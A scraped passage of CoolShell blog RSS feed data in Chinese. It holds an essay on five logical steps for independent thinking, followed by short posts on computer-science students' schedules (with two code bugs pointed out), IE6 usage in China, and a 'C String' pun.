/>这是一个非常复杂的世界，这个世界上有很多各式各样的观点和思维方式，作为一个程序员的我，也会有程序员的思维方式，程序员的思维方式更接近数学的思维方式，数学的思维方式让可以很容易地理清楚这个混乱的世界，其实，并不需要太复杂的数学逻辑，只需要使用一些简单的数学方法，就可以大幅提升自己的认识能力，所以，在这里，记录一篇我自己的思维方式，一方面给大家做个参考，另一方面也供更高阶的人给我进行指正。算是“开源我的思维方式”，开放不仅仅是为了输出，更是为了看看有没有更好的方式。</p>\n<p>我的思维方式中，使用数学逻辑的方式进行思考，通常来说，我会使用五步思考的方式：</p>\n<p><strong>第一步：信息数据可考证</strong>。如果一个观点或是一个见解的数据是错误的，那么就会造成后面的观点全是错的，所以，首要的是要进行数据的查证或考证。一般来说，如果一篇文章的作者足够严谨的话，他的需要给他的数据建立相关的引用或是可以考证的方法方式。如果一篇文章中出现的是，“有关专家表明”、“美国科学家证明”、“经济学家指出”，但是没有任出处，也没有点明这个专家或是科学家的名字，或是，也没有说明或引用让读者可以自己去验证的方法。那么，其引用的话或是数据是无法考证的，如果是无法考证的，那么，这篇文章的水份就非常大了。一般来说，当我读到一篇文章中的东西没有可考证的来源或是方法时，通常来说，我就不会再读了，因为这篇文章的价值已经不大了，如果我关心这篇文章中的东西，我会改为自己去查找的方式，虽然变“重”了，但是很安全。（所以，像Wikipedia这样的网站是我经常去获得信息的地方，因为信息可以被考证是其基本价值观）</p>\n<p><span id=\"more-20533\"></span></p>\n<p><strong>第二步：处理集合和其包含关系</strong>。这是一个非常简单的人人都会的数学逻辑。比如：哲学家是人，柏拉图是哲学家，所以，柏拉图是人。就是一个在包含关系下的推理。你不要小看这个简单的逻辑，其实很多人并不会很好的应用，相反，当感情支配了他们以后，他们会以点代面，以特例代替普遍性。比如，地图炮就是一种，他们看到了多个案例，他们就开始把这个案例上升上更大的范围，比如：河南人新疆人都是小偷，上海人都是小市民。日本人都是变态和反人类……等等。除了这些地图炮外，还有否定整个人的，比如一个人犯了个错或是性格上有缺陷，就会把整个人全盘否定掉，员工抢个月饼就上升到其价值观有问题……。在数学的逻辑包含中，超集的定义可以适用于子集，通过子集的特征可以对超集进行探索，但是没法定义超集。另外，集合的大小也是一个很重要的事，<a href=\"https://zh.wikipedia.org/wiki/%E5%80%96%E5%AD%98%E8%80%85%E5%81%8F%E5%B7%AE\" target=\"_blank\" rel=\"noopener noreferrer\">幸存者偏差</a>会是一个很容易让人掉下去的陷阱，因为可能会有很大的样本集可能在你的视线盲区。</p>\n<p><strong>第三步：处理逻辑因果关系</strong>。所谓因果关系，其实就是分辨充分条件、必要条件和充分必要条件，然后处理其中的逻辑是否有关联性，而且有非常强的因果关系。没有能力分辨充分必要条件处理因果关系是很多人的硬伤。就像我在《<a href=\"https://coolshell.cn/articles/19271.html\" target=\"_blank\" rel=\"noopener noreferrer\">努力就会成功</a>》中说的一样，“努力” 和 “成功”是否有因果关系？各种逻辑混淆、概念偷换、模糊因果、似是而非全是在这里。比如：掩耳盗铃、刻舟求剑就是因果关系混乱的表现。人们会经常地混淆两个看来一起发生，但是并没有关联在一起的事。因果关系是最容易被模糊和偷换的，比如：很多人都容易混淆“加班”就会有“产出”，混淆了“行动”就会有“结果”，混淆了“抵制”就会赢得“尊重”，混淆了“批评”等于“反对”……等等。除了这些以外，微信公众号里的很多时评文章，他们的文章中的结论和其论据是没有因果关系的，好多文章就是混淆、模糊、偷换……<strong>因果关系出问题的文章读多了是对大脑有损伤的，要尽量远离</strong>。</p>\n<p><strong>第四步：找到靠谱的基准线</strong>。就像我们写代码一样，我们都是会去找一些最佳实践或是业内标准，原因是因为，这样的东西都是经过长时间被这个世界上很多人Review过的，是值得依赖和靠谱的，他们会考虑到很多你没有考虑过的问题。所以，你也会看到很多时评都会找欧美发达国家的作参考的做法，因为毕竟人家的文化是相对比较文明、科学、开放和先进的。找到世界或是国际的通行标准，会更容易让人进步。比如：以开放包容加强沟通的心态，就会比封闭抵制敌对的心态要好得多得多，智者建桥，愚者建墙。当然，我们也开始发现，有一些事上，有利于自己的就对标，不利于自己的就不对标，而且，除了好的事，不好的事也在找欧美作对标，于是开始“多基准线”和“乱基准线”，这种方式需要我们小心分辨。</p>\n<p><strong>第五步：更为深入和高维的思考</strong>。如果一件事情只在表面上进行思考其实只是一种浅度思考，在Amazon，线上系统出现故障的时候，需要写一个Correction of Errors的报告，其中需要Ask 5 Whys（参看 Wikipedia 的 <a href=\"https://en.wikipedia.org/wiki/Five_whys\" target=\"_blank\" rel=\"noopener noreferrer\">Five Whys 词条</a>），这种思考方式可以让你不断追问到深层次的本质问题，会让你自己做大量的调查和研究，让你不会成为一个只会在表面上进行思考的简单动物。比如：当你看到有出乎你意料的事件发生时（比如负面的暴力事件），你需要问一下，为什么会发生，原因是什么？然后罗列尽可能全的原因，再不断地追问并拷证下去（这跟写程序一样，需要从正向案例和负向案例进行考虑分析，才可能写出健壮性很强的代码），我们才会得出一个比较健壮的答案或结构。</p>\n<p>需要注意的是，在上述的这五种思维方式下，你的思考是不可能快得起来的，这是一个“慢思考”（注：如果读过《<a href=\"https://book.douban.com/subject/10785583//\" target=\"_blank\" rel=\"noopener noreferrer\">思考，快与慢</a>》这本书的人就知道我在说什么），独立思考是需要使用大脑中的“慢系统”，慢系统是反人性的，所以，能真正做到独立思考的人很少。更多的人的“独立思考”其实只不过是毫无章法的乱思考罢了。</p>\n<p>通过上述的这五点，我相信你是很容易识别或是分辨出哪些信息是靠谱的，哪些信息是很扯的，甚至会改善你自己的言论和思考。但是，<strong>请注意，这些方法并不能让你获得真理或是真相</strong>。但是这也够了，一个人如果拥有了能够分辨是非的能力，也是很不错的了。虽然不知道事实是什么，但是你也不会盲从和偏信，从而不会被人煽动，而成为幕后黑手的的一只“肉鸡”。</p>\n<p>多说两句，下面是一些我个人的一些实践：</p>\n<ul>\n<li>当新闻报道报道的不是客观事实，而是加入了很多观点，那么这篇新闻报道是不可信的。</li>\n<li>对于评论性的文章，没有充足权威可信的论据时，不能完全相信。</li>\n<li>不是当事人，不是见证人，还要装作自己是知情的……不知道这种人的自信怎么来的？</li>\n<li>信息不公开的，并有意屏蔽信息的，不能作为可信的信息源。</li>\n<li>当出现大是或是大非的事时，一定要非常小心，这个世界不存在完全的美和完全的丑，这样的观点通常来说都是危险的，此时要多看看不同角度的报道和评论，要多收集一些信息，还要多问问为什么。</li>\n</ul>\n<p>欢迎你告诉我一些你的实践和思维方式。</p>\n<p>（全文完）</p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio></p>\n<p><audio style=\"display: none;\" controls=\"controls\"></audio><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/12/bachelor-mechanical-eng-icon@72x-150x150.png\" alt=\"我做系统架构的一些原则\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21672.html\" class=\"wp_rp_title\">我做系统架构的一些原则</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/20533.html\">使用简单的逻辑方法进行独立思考</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/20533.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>67</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t</channel>\n</rss>\n"
  },
  {
    "path": "blogs/rss/feed-20.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?><rss version=\"2.0\"\n\txmlns:content=\"http://purl.org/rss/1.0/modules/content/\"\n\txmlns:wfw=\"http://wellformedweb.org/CommentAPI/\"\n\txmlns:dc=\"http://purl.org/dc/elements/1.1/\"\n\txmlns:atom=\"http://www.w3.org/2005/Atom\"\n\txmlns:sy=\"http://purl.org/rss/1.0/modules/syndication/\"\n\txmlns:slash=\"http://purl.org/rss/1.0/modules/slash/\"\n\t>\n\n<channel>\n\t<title>第 20 页 &#8211; 酷 壳 &#8211; CoolShell</title>\n\t<atom:link href=\"https://coolshell.cn/feed?paged=20\" rel=\"self\" type=\"application/rss+xml\" />\n\t<link>https://coolshell.cn</link>\n\t<description>享受编程和技术所带来的快乐 - Coding Your Ambition</description>\n\t<lastBuildDate>Wed, 21 Dec 2011 15:16:28 +0000</lastBuildDate>\n\t<language>zh-CN</language>\n\t<sy:updatePeriod>\n\thourly\t</sy:updatePeriod>\n\t<sy:updateFrequency>\n\t1\t</sy:updateFrequency>\n\t<generator>https://wordpress.org/?v=6.2</generator>\n\t<item>\n\t\t<title>计算机专业学生的大学生活</title>\n\t\t<link>https://coolshell.cn/articles/3928.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3928.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 17 Mar 2011 09:55:38 +0000</pubDate>\n\t\t\t\t<category><![CDATA[杂项资源]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[Programmer]]></category>\n\t\t<category><![CDATA[程序员]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3928</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>下面看到某国外的同学描述的自己的大学生活，呵呵。做一下解释， 正常的生活是，10点到17点上课，17点到22点是放松和work（chill相当于relax），2...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3928.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3928.html\">计算机专业学生的大学生活</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>下面看到某国外的同学描述的自己的大学生活，呵呵。做一下解释，</p>\n<ul>\n<li>正常的生活是，10点到17点上课，17点到22点是放松和work（chill相当于relax），22点到凌晨1点是社交活动，然后睡8小时。</li>\n<li>计算机专业的学生的生活是，只要你脑子还在转就work，脑子不转了，就睡2小时。（<del>原来，国外的计算机大学的同学们在大学时就已在疯狂工作了，课都不上</del>）（work是在校的学术作业项目（谢谢网友rho指正））</li>\n</ul>\n<figure style=\"width: 584px\" class=\"wp-caption aligncenter\"><a href=\"http://i.imgur.com/4kQAz.jpg\" target=\"_blank\"><img decoding=\"async\" loading=\"lazy\" class=\"     \" title=\"计算机专业学生的大学生活\" src=\"http://i.imgur.com/4kQAz.jpg\" alt=\"计算机专业学生的大学生活\" width=\"584\" height=\"779\" /></a><figcaption class=\"wp-caption-text\">计算机专业学生的大学生活</figcaption></figure>\n<p>不过，看了一下上面的代码，我发现了两个问题：</p>\n<ol>\n<li>sleep(2)，在posix下是秒，在windows下是毫秒。</li>\n<li>(hour &gt;= 22  &amp;&amp;  hour &lt; 1) 这个表达式永假。正确的是(hour &gt;= 22 || hour &lt; 1)</li>\n</ol>\n<p>当然，我们并不能下结论——该同学的在学校里并没有学好编程。因为，你不知道Sleep 和 &amp;&amp; 有没有被重载了。（你要把&amp;&amp;在某些情况下重载成||的行为也不是不可能 。<strong>注：在c++中，你无法重载内建类型的操作符</strong>）</p>\n<p>——————</p>\n<p><span style=\"color: #008000;\">最后说明一下，最近事太多（一个项目要上线，另一个项目需求分析和设计、招聘、酷壳服务器迁移、带孩子、申请签证、给人做培训），所以没有更新，大家见谅</span>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" id=\"wp_rp_first\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/10/communication-150x150.png\" alt=\"聊聊团队协同和协同工具\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22298.html\" class=\"wp_rp_title\">聊聊团队协同和协同工具</a></li><li ><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/http_method-150x150.png\" alt=\"“一把梭：REST API 全用 POST”\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22173.html\" class=\"wp_rp_title\">“一把梭：REST API 全用 POST”</a></li><li ><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2022/02/monitoring-150x150.jpeg\" alt=\"谈谈公司对员工的监控\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22157.html\" class=\"wp_rp_title\">谈谈公司对员工的监控</a></li><li ><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg\" alt=\"如何做一个有质量的技术分享\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/21589.html\" class=\"wp_rp_title\">如何做一个有质量的技术分享</a></li><li ><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/08/programmer.01-e1596792460687-150x150.png\" alt=\"程序员如何把控自己的职业\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20977.html\" class=\"wp_rp_title\">程序员如何把控自己的职业</a></li><li ><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2020/01/remote-150x150.jpg\" alt=\"MegaEase的远程工作文化\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/20765.html\" class=\"wp_rp_title\">MegaEase的远程工作文化</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3928.html\">计算机专业学生的大学生活</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3928.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>14</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>中国仍是IE6的重灾区</title>\n\t\t<link>https://coolshell.cn/articles/3921.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3921.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Thu, 10 Mar 2011 00:41:05 +0000</pubDate>\n\t\t\t\t<category><![CDATA[技术新闻]]></category>\n\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[IE]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3921</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>“IE6于10年前诞生，现在应该是我们同IE6告别的时候了。”微软公司日前推出IE6倒计时网站（the Internet Explorer 6 Countdow...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3921.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>“IE6于10年前诞生，现在应该是我们同IE6告别的时候了。”微软公司日前推出IE6倒计时网站（the Internet Explorer 6 Countdown，网址为<span style=\"color: #0066cc;\"><a href=\"http://www.ie6countdown.com/\" target=\"_blank\">www.ie6countdown.com</a></span>），旨在尽早淘汰IE6，让用户升级到新版IE浏览器。</p>\n<p>值得注意一点的是，在这张百分比图上所显示的目前仍在使用IE6浏览器上网的百分比第一的是中国——34.5%，这个符合我国国情——什么都要争第一。我国人口世界第一占全世界1/4，网民也是世界第一，还在使用IE6的网民占全世界的1/3，可以我国网民的严重落后。根据<a href=\"http://www.cnnic.net.cn/dtygg/dtgg/201101/t20110118_20250.html\" target=\"_blank\">CNNIC今年的报告</a>，我国现有4.5亿网民，34%也就是1.5亿用户，也就是说你身边每三个人中就有一个在用IE6。而中国的IE6网民占全世界使用IE6网民的一半。</p>\n<p>另外，我发现亚洲是重灾区啊，包括中日韩台印都很猛啊，看来微软在亚洲的营销的确不错。</p>\n<p><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3922\" title=\"IE6 Countdown\" src=\"https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown.png\" alt=\"\" width=\"495\" height=\"365\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown.png 495w, https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown-300x221.png 300w, https://coolshell.cn/wp-content/uploads/2011/03/IE6-Countdown-366x270.png 366w\" sizes=\"(max-width: 495px) 100vw, 495px\" /></p>\n<p>我查看了一下Coolshell.cn的2011年到今天为止访问统计，排名第一是的Chrome(41.5%)，第二位的是Firefox(23.22%)，第三位的是IE8(10.7%)，第四位的是IE6(4.8%)。IE6的IP数有6400+。</p>\n<p>看来，在我国程序员这个人群中，越来越多的人使用Chrome+Firefox，挺喜人的，但是IE6还有4.8%，还不如土耳其，马来西亚，印尼等国家。<br />\n<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/08/ajax_error-150x150.jpg\" alt=\"一次Ajax查错的经历\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/8170.html\" class=\"wp_rp_title\">一次Ajax查错的经历</a></li><li ><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2012/04/Green-Computing-150x150.jpg\" alt=\"做个环保主义的程序员\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/7186.html\" class=\"wp_rp_title\">做个环保主义的程序员</a></li><li ><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/5.jpg\" alt=\"10大经典错误\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5107.html\" class=\"wp_rp_title\">10大经典错误</a></li><li ><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/06/sina_xss01-150x150.png\" alt=\"新浪微博的XSS攻击\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/4914.html\" class=\"wp_rp_title\">新浪微博的XSS攻击</a></li><li ><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/03/affc-image1-150x150.png\" alt=\"微软用新浪来当反面教材\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3872.html\" class=\"wp_rp_title\">微软用新浪来当反面教材</a></li><li ><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2010/09/biolab-150x150.jpg\" alt=\"一些非常有意思的杂项资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3013.html\" class=\"wp_rp_title\">一些非常有意思的杂项资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/3921.html\">中国仍是IE6的重灾区</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/3921.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>56</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>Google图片搜索下的的C String</title>\n\t\t<link>https://coolshell.cn/articles/3806.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/3806.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[陈皓]]></dc:creator>\n\t\t<pubDate>Fri, 04 Mar 2011 04:40:40 +0000</pubDate>\n\t\t\t\t<category><![CDATA[轶事趣闻]]></category>\n\t\t<category><![CDATA[C++]]></category>\n\t\t<category><![CDATA[Google]]></category>\n\t\t<category><![CDATA[String]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=3806</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>周五了，来轻松一下。如果你在Google的图片搜索里搜索“C String”，你会看到很多相当Sexy的图片，C String真是很性感，丁字裤（T Strin...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/3806.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/3806.html\">Google图片搜索下的的C String</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script>周五了，来轻松一下。如果你在Google的图片搜索里搜索“C String”，你会看到很多相当Sexy的图片，C String真是很性感，丁字裤（T String）已经算不了什么了，看了一下图片，才发现原来还有男士了，太猛了。</p>\n<p><a href=\"http://www.google.com.hk/images?hl=zh-cn&amp;newwindow=1&amp;safe=strict&amp;q=C%20String&amp;um=1&amp;ie=UTF-8&amp;source=og&amp;sa=N&amp;tab=wi&amp;biw=1280&amp;bih=677\"><img decoding=\"async\" loading=\"lazy\" class=\"aligncenter size-full wp-image-3807\" title=\"Google图片搜索的C String\" src=\"https://coolshell.cn/wp-content/uploads/2011/02/C_String.jpg\" alt=\"\" width=\"500\" height=\"313\" srcset=\"https://coolshell.cn/wp-content/uploads/2011/02/C_String.jpg 500w, https://coolshell.cn/wp-content/uploads/2011/02/C_String-300x188.jpg 300w, https://coolshell.cn/wp-content/uploads/2011/02/C_String-431x270.jpg 431w\" sizes=\"(max-width: 500px) 100vw, 500px\" /></a></p>\n<p>如果C String是这个样子，那么，其尾部应该有null终止符，而且最危险的是缓冲区溢出（Buffer Overflow）。哈哈。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" alt=\"Android将允许纯C/C++开发应用\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/3549.html\" class=\"wp_rp_title\">Android将允许纯C/C++开发应用</a></li><li ><a href=\"https://coolshell.cn/articles/12199.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/22.jpg\" alt=\"C++ STL string的Copy-On-Write技术\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12199.html\" class=\"wp_rp_title\">C++ STL string的Copy-On-Write技术</a></li><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/20845.html\" 